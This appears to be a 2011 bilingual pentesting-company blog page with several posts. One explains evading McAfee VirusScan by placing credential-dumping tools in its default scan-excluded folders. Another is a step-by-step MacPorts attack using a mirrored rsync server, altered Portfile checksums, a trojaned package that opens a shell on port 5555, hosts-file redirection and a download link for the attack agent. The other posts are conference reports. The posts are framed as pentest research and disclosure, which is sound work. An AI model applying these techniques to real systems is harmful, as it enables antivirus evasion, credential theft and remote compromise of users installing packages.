الثلاثاء، 13 سبتمبر 2011

Otra forma de saltar la detección de McAfee

Nos encontrábamos en medio de un penetration test en la cual habiamos obtenido la administración completa de un servidor Windows.

Estamos buscando formas de sacar mas información de este servidor y queríamos aprovechar la técnica pass-the-hash desarrollada por Hernan Ochoa para obtener NT/LM hashes de la memoria.

El problema es que este servidor estaba corriendo McAfee VirusScan Enterprise ver. 8.7i el cual detectaba la tool wce.exe como maliciosa.

Para poder deshabilitar los servicios del antivirus es necesario conocer un password administrativo.
En versiones anteriores era posible blanquear ese password modificando los valores del registro UIP en (1) HKEY_LOCAL_MACHINE\SOFTWARE\McAfee\DesktopProtection or (2) HKEY_LOCAL_MACHINE\SOFTWARE\Network Associates\TVD\VirusScan Entreprise\CurrentVersion
Actualmente no se pueden modificar esos registros debido a permisos que fueron agregados despues que salga la vulnerabilidad

Pero encontramos los registros “HKEY_LOCAL_MACHINE\SOFTWARE\McAfee\VSCore\On Access Scanner\Configuration\Default\ExcludedItem_X”



Algunos excluded path por default "c:\inetpub\mailroot\", "c:\program file\exchsrvr\schema", "%systemroot%\IIS Temporary Compressed"

Simplemente tirando nuestros binaries en cualquiera de los directorios nombrados en ExcludedItem_X haciendo uso de la funcionalidad que McAfee nos ofrece logramos ejecutar cualquier binario y finalmente obtener nuestras ansiosas hash.

Espero que les sirva por si se topan alguna vez con este antivirus, seguramente la técnica debe ser aplicable a otros antivirus.

Saludos

Another way to bypass McAfee detection


During a penetration test we obtained the complete administration of a Windows server.

We were looking for a way to get more information on this server and wanted to use the technique pass-the-hash developed by Hernan Ochoa to get NT / LM hashes from memory..

The problem is that this server is running McAfee VirusScan Enterprise version 8.7i tool which detects wce.exe as malicious.

To disable the antivirus service is necessary to know an administrative password.
In previous versions it was possible to disable the password by modifying the registry value UIP in (1) HKEY_LOCAL_MACHINE\SOFTWARE\McAfee\DesktopProtection or (2) HKEY_LOCAL_MACHINE\SOFTWARE\Network Associates\TVD\VirusScan Entreprise\CurrentVersion
Today you can not change the registry because of permissions added after the following vulnerability


But we found the following registries “HKEY_LOCAL_MACHINE\SOFTWARE\McAfee\VSCore\On Access Scanner\Configuration\Default\ExcludedItem_X”





Some of them are excluded path by default "c:\inetpub\mailroot\", "c:\program file\exchsrvr\schema", "%systemroot%\IIS Temporary Compressed"

Simply we put our binaries in any of the directories named in ExcludedItem_X using the functionality that McAfee offers to run any binary, and we finally got our needed hash.

I hope you need it if you ever come across with this antivirus, surely the technique should be applicable to other antivirus.

Have fun!

الاثنين، 15 أغسطس 2011

Tour Blackhat & Defcon 2011

Como siempre Las Vegas nos recibió con sus calidos y secos 50 grados como nos tiene acostumbrados, viniendo del invierno de Buenos Aires fue un cambio un poco duro.


Este año tuvimos la posibilidad de presentar Faraday en Blackhat donde preparamos varias demos con las nuevas funcionalidades.
En el siguiente link puede ver la presentación.
El Arsenal se encontraba en una mejor ubicación en el acceso a las charlas con lo cual había un flujo mas constante de personas.
Esperamos tener listo la primer beta Faraday en el corto plazo!




Se hicieron la entrega de los premios pwnie award donde se entrego el premio al mejor Best Server-Side Bug a Juliano Rizzo y Thai Duong por la investigación presentada en ekoparty 2010 “Padding oracles everywhere” todo un lujo!


Participamos nuevamente en el hackcup ya una rutina de los eventos BlackHat/Defcon con un nivel mejorado.
Creo que el premio de entradas gratuitas a blackhat fue muy bien cotizado dando como saldo declarado varias lesiones: 3 fracturas en equipos Argentinos, 1 esguince en el Brasilero.
El campeonato lo gano el equipo español, que tenia en sus filas mas de 45 jugadores un 90 % profesionales de fútbol. Cuentan que alguien pregunto a ese equipo que era una shellcode y respondieron una marca de ropa deportiva. Había un jugador que jugo 3 minutos (chem, chemaaa ) en fin FOCA Team felicitaciones!






Para renovarse un poco Defcon cambio de hotel. Acostumbrados al Riviera la elección del Rio fue muy positiva, mejores espacios, un lugar mucho mas luminoso, si bien no quedaba muy céntrico valió la pena el cambio.
Como consideran que el “badge” electrónico ya no es cool porque muchas conferencias lo hacen, ahora entregaban uno 99% de titanio, lindo ahorro con esa jugada. Igual no les alcanzo como siempre y los que llegan tarde como nosotros nos tuvimos que conformar con uno 100% de “cartón”






Una anécdota divertida del CTF, que fue organizado nuevamente por DDTEK es que a pesar que lo haya ganado el equipo NOPsled, el equipo Lollerskaters donde participa Juliano Rizzo logro ownear todos los servidores de los equipos contrarios e impedir el acceso a los mismos con un simpatico patinador.


Cuando volvió a la normalidad el equipo Lollerskaters estaba en una red espejo monitoreada en un intento desesperado por los organizadores para saber como habían logrado tal azaña.




Los contenidos tanto de Blackhat como Defcon fueron muy interesante y como siempre este tour nos brinda la oportunidad de conversar con grandes investigadores, agradecemos a muchos que esperaron a la eko para presentar novedades!


Para la ekoparty solo podemos adelantar que este año no van a alcanzar los pendrives directamente discos rígidos van a volar.


Los esperamos!


الاثنين، 25 يوليو 2011

Black Hat USA 2011 + Faraday

Tenemos el agrado de contarles que estaremos presentes en la edición 2011 de Blackhat USA.

En esta ocasion vamos a estar presentando
Faraday (llamado así en homenaje a los seis principios de la disciplina científica de Michael Faraday) es un IDE para test de penetración. Es muy similar a IDE de programación (como el de Komodo, Eclipse, NetBeans), con la diferencia de que Faraday es para fines de penetration test multiusuario. A primera vista, parece otro IDE, pero es mucho más que eso. Se trata de un cliente y un servidor diseñado para la distribución, la indexación y el análisis de los conocimientos generados durante el trabajo de un test de penetración.

Para mas información pueden ver el siguiente post + video ekoparty 2010



Estaremos presente el día 4 de Agosto en el Arsenal (Mas información)

Esta foto el ultimo hackaton que organizamos para finalizar los últimos detalles previos a la presentación!

Después de 16 hs seguidas se puede ver las caras largas de varios!



Aprovechamos para felicitar al excelente team detrás del desarrollo:
Esteban Guillardoy (tw)
Facundo Guzman (tw)
Matías Ariel Medina (tw)
Federico Kirschbaum (tw)
Juan Pablo Borgna (tw)

الخميس، 7 يوليو 2011

Pwning Mac OS X with evilgrade + MacPorts


The idea of this post is to show the flaws in the packages distribution of the project MacPorts for Mac OS X

The MacPorts use:

a) To update your repository rsync server
b) The packages are distributed via http / ftp
c) Before installing a new package it is checked with the MD5/SHA1 in the local repository



To perform the attack we need to do the following tasks:
1) Prepare the rsync server on the attacker's machine (192.168.10.133) with all the files of rsync.macports.org:

mkdir -p /dev/evilgrade/release/ports
mkdir -p /dev/evilgrade/release/base
#Get the files from rsync.macports.org
/usr/bin/rsync -rtzv --delete-after --exclude=/PortIndex* rsync://rsync.macports.org/release/ports/ /dev/evilgrade/release/ports/
/usr/bin/rsync -rtzv --delete-after --exclude=/PortIndex* rsync://rsync.macports.org/release/base/ /dev/evilgrade/release/base/

2) Configure the file /etc/rsyncd.conf:

max connections = 20
log file = /var/log/rsync.log
timeout = 300
[release]
comment = Stuff
path = /dev/evilgrade/release/
read only = yes
list = yes
uid = nobody
gid = nogroup
# auth users = craig
# secrets file = /etc/rsyncd.secrets
hosts allow = 192.168.10.0/24 #change for your subnet
3) Then start the rsync server /etc/init.d/rsync start
4) In this case we will attack the package serf in the category www. The idea is that when you install this package we create a listener shell port 5555
We have to edit the repository file /dev/evilgrade/release/ports/www/serf/Portfile and change checksums md5 with the hash of our payload/agent found in /evilgrade/agent/serf-0.7.2. tar.bz2

You could also prepare the repository for all "Porfiles" point to the same package with the same md5 so any installation which infect the victim port

This agent has a line (132) in Makefile.in to leave a shell at port 5555

4) On the victim machine (192.168.10.42) for this test add in /etc/hosts the following lines or make any forwarding traffic attack :
192.168.10.133 serf.googlecode.com rsync.macports.org
5) Start evilgrade on the attacker machine 192.168.10.133
6) On the victim machine run a "sudo port selfupdate" and then "sudo port install serf"

7) We verify that our attacker is receiving the rsync request by reading the file /var/log/rsync.log
Check what happend in evilgrade:
8) Enjoy your shell!
Download the MacPort agent from http://www.infobytesec.com/down/macportsevilgrade.tar.gz and uncompress it in the evilgrade path.
Remember to keep your systems updated! ;)

Pwning Mac OS X con evilgrade + MacPorts


La idea de este post es demostrar las fallas en la distribución de paquetes en el proyecto MacPorts para sistemas Mac OS X
A grandes rangos el port utiliza:
a) Para la actualización de su repositorio un servidor rsync
b) Los paquetes se distribuyen por http/ftp
c) Antes de instalar un nuevo paquete verifica el md5/sha1 del repositorio local con el nuevo archivo si es valido instala el paquete.
Para realizar el ataque debemos seguir las siguientes tareas:
1) Preparamos el servidor de rsync en el equipo atacante (192.168.10.133) con todo repositorio valido de rsync.macports.org:
mkdir -p /dev/evilgrade/release/ports
mkdir -p /dev/evilgrade/release/base
#Obtenemos la información necesaria
/usr/bin/rsync -rtzv --delete-after --exclude=/PortIndex* rsync://rsync.macports.org/release/ports/ /dev/evilgrade/release/ports/
/usr/bin/rsync -rtzv --delete-after --exclude=/PortIndex* rsync://rsync.macports.org/release/base/ /dev/evilgrade/release/base/

2) Configuramos el archivo/etc/rsyncd.conf:

max connections = 20
log file = /var/log/rsync.log
timeout = 300
[release]
comment = Stuff
path = /dev/evilgrade/release/
read only = yes
list = yes
uid = nobody
gid = nogroup
# auth users = craig
# secrets file = /etc/rsyncd.secrets
hosts allow = 192.168.10.0/24 #cambiar por la subnet correspondiente.
3) Luego levantamos nuestro servidor /etc/init.d/rsync start
4) En este caso vamos a atacar el paquete serf dentro de la categoría www. La idea es que cuando instale este paquete nos deje una shell en el puerto 5555
Tenemos que editar en el repositorio el archivo/dev/evilgrade/release/ports/www/serf/Portfile y cambiar el checksums md5 por el hash de nuestro payload/agente que se encuentra en /evilgrade/agent/serf-0.7.2.tar.bz2
También se podría preparar este repositorio para que todos los Porfiles apunten a un mismo paquete con el mismo md5 con la cual cualquier instalación por port infectaría a la victima
Este agente tiene una línea (132) en el Makefile.in para dejar una shell en el 5555
4) En el equipo víctima (192.168.10.42) para esta prueba agregamos en el /etc/hosts las siguientes lineas o realizamos algún ataque de redireccionamiento de trafico:
192.168.10.133 serf.googlecode.com rsync.macports.org
5) Levantamos el evilgrade en el equipo atacante 192.168.10.133
6) En el equipo victima corremos un “sudo port selfupdate” y luego “sudo port install serf”

7) Verificamos que nuestro atacante este recibiendo el requerimiento por rsync leyendo el archive /var/log/rsync.log
y luego el request en evilgrade:
8) Por ultimo nos conectamos a nuestra shell
Para obtener este obtener el agent y modulo de MacPort bajar el siguiente paquete http://www.infobytesec.com/down/macportsevilgrade.tar.gz descomprimirlo en el raíz de evilgrade.
Recuerden mantener actualizados sus sistemas ;)

الثلاثاء، 22 مارس 2011

Microsoft Doing Blue Security Forum

El viernes 18 se realizo en el Jardin Japonés un evento en el cual tuve la posibilidad de formar parte del comite organizador a cargo de Jorge Cella (tw), bajo el nombre de "Microsoft Doing Blue Security Forum" fue una propuesta de realizar un evento basado en las experiencias de los diferentes integrantes del mundo de la seguridad informatica Argentina, con un proposito muy simple: Generar un espacio en el cual podamos empezar a trabajar en unir los dos "mundos", el de las empresas y el de los investigadores, formando un espacio de comunicación y debate sobre los temas que nos preocupan.


Arranco Ariel Kirsman (tw) con "Aplicando Seguridad en Desarrollo: Experiencias internas de Microsoft" donde comento mediante unas anécdotas muy divertidas los desafios personales a la hora de desarrollar un producto, revelando como cada equipo de trabajo se las tiene que ingeniar para cumplir con performance y con seguridad.


Con una introducción de Federico Pacheco (tw), le dio pie a Pierre-Marc Bureau (tw) y su charla "Malware Turism"quien se desarrolla como reverse engineer de malware para ESET nos introdujo un poco a los orígenes de producción de malware y como cada region en el planeta hoy en dia tiene una especialización en el diseño de malware: Brasil produce en su mayoría troyanos bancarios y phishing, China busca credenciales en general y de juegos online, Europa del este y Rusia realizan Ransomware y Spam. Ahora para mi lo mas interesante de este ecosistema es como estos diferentes grupos se venden servicios entre si de consultoria y desarrollo, en búsqueda de nuevas formas de generar ingresos.


Luego de un pequeño break arranco uno de los platos fuertes del dia, el panel de discusión sobre Vulnerability Research moderado por Hernan Racciatti(tw) e integrado por Cesar Cerrudo (tw), Mariano Nuñez di Croce (tw) y Hernan Ochoa (tw). Simplemente con algunas anécdotas personales de cada uno de los panelistas fue suficiente como para armar el clima perfecto de debate. Fue uno de los segmentos donde el publico corporativo mas participo, al enterarse mas en detalle de como eran las diferentes metodologias en la búsqueda de fallas y el proceso de reportarlos ante los vendors. La existencia del mercado de compra de vulnerabilidades se sumo al debate y cual es el impacto de estas desde el punto de vista corporativo. Una de las preguntas que surgió fue: Si todavia encuentran fallas graves en productos que tienen mucha exposicion como un Sistema Operativo o SAP, ¿Que nivel de seguridad puedo esperar de aplicaciones desarrolladas in-house o de las webapps que hace marketing? Algunos ya sabían la respuesta...


Luego del almuerzo Alejandro Buschel, quien se desempeña en el area de gestion de vulnerabilidad de los servicios online de Microsoft latinoamerica conto su experiencia particularmente sobre Information Disclosure a la hora de recibir reportes de vulnerabilidad no solo en productos de Microsoft sino tambien en misma infraestructura, funcionando como mediador entre el investigador, el grupo de desarrollo y el cliente.


Avanzada la tarde tuve el gusto de coordinar el panel de Vulnerability Exploitability que estaba formado por: Agustin Azubel (tw), Manuel Caballero (tw), Anibal Sacco (tw) y Nico Waisman(tw). La idea de este panel era poder exponer para el mundo corporativo un poco como es el ciclo de vida de un exploit y la madurez que adquirió en el ultimo tiempo.
Se dio a conocer el tiempo de desarrollo y QA que requiere un exploit comercial, igualmente todos dieron a entender que eso no fue lo unico que maduro, las mitigaciones tambien lo hicieron. Las preguntas rondaron alrededor del fenomeno de como se convirtió de herramienta a un producto y como cada compania que trabaja en el area ofensiva tienen una filosofia muy diferente a la hora del desarrollo de exploits de vulnerabilidades no reportadas y su comercialización, este punto a mi manera de ver es importante para el mundo corporate ya que no pueden depender solamente de las métricas provistas por vendors y que su threat modeling debería tener en cuenta la posibilidad de ser atacados con bugs no reportados. No es paranoia es una realidad que debemos afrontar.


El panel siguiente fue del lado corporativo, Enrique Rubinstein y Paula Suarez compartieron con nosotros su trabajo de Patch Management en entornos corporativos, relatando como es el proceso desde que se anuncia una vulnerabilidad hasta el momento de aplicarlos sobre equipos en producción, cuales son los tiempos internos que esto requiere. Siempre encuentro importante que se compartan las dificultades en procesos como estos, ya que nos permite entender un poco mejor los desafios de la administración de la seguridad en las grandes empresas.


El evento llegaba a su fin pero fue Chema Alonso (tw) finalmente quien mediante el humor logro unirnos, ya que hasta ese momento se notaba una distancia pero apelando a los errores ajenos nos demostro que la audiencia era una sola y que tenemos mucho mas en común de lo que creemos.


Creo que es muy importante la realización de eventos de este estilo (bluehat, ekoparty security briefing) donde ademas de lo tecnico se busca mejorar por sobretodo la comunicación y las relaciones entre quienes integran el mundo de la seguridad, creo fielmente en que tenemos mucho que compartir así que simplemente espero que se repita.


Quiero agradecer a mis compañeros por haberme invitado a participar y trabajar en la realización de este evento:
  • Nora Alzua
  • Claudio Caracciolo (@holesec)
  • Jorge Cell (@jorgecella)
  • Hernan Racciatti (@my4ng3l)
  • Enrique Rubinstein
  • Ezequiel Sallis (@simubucks)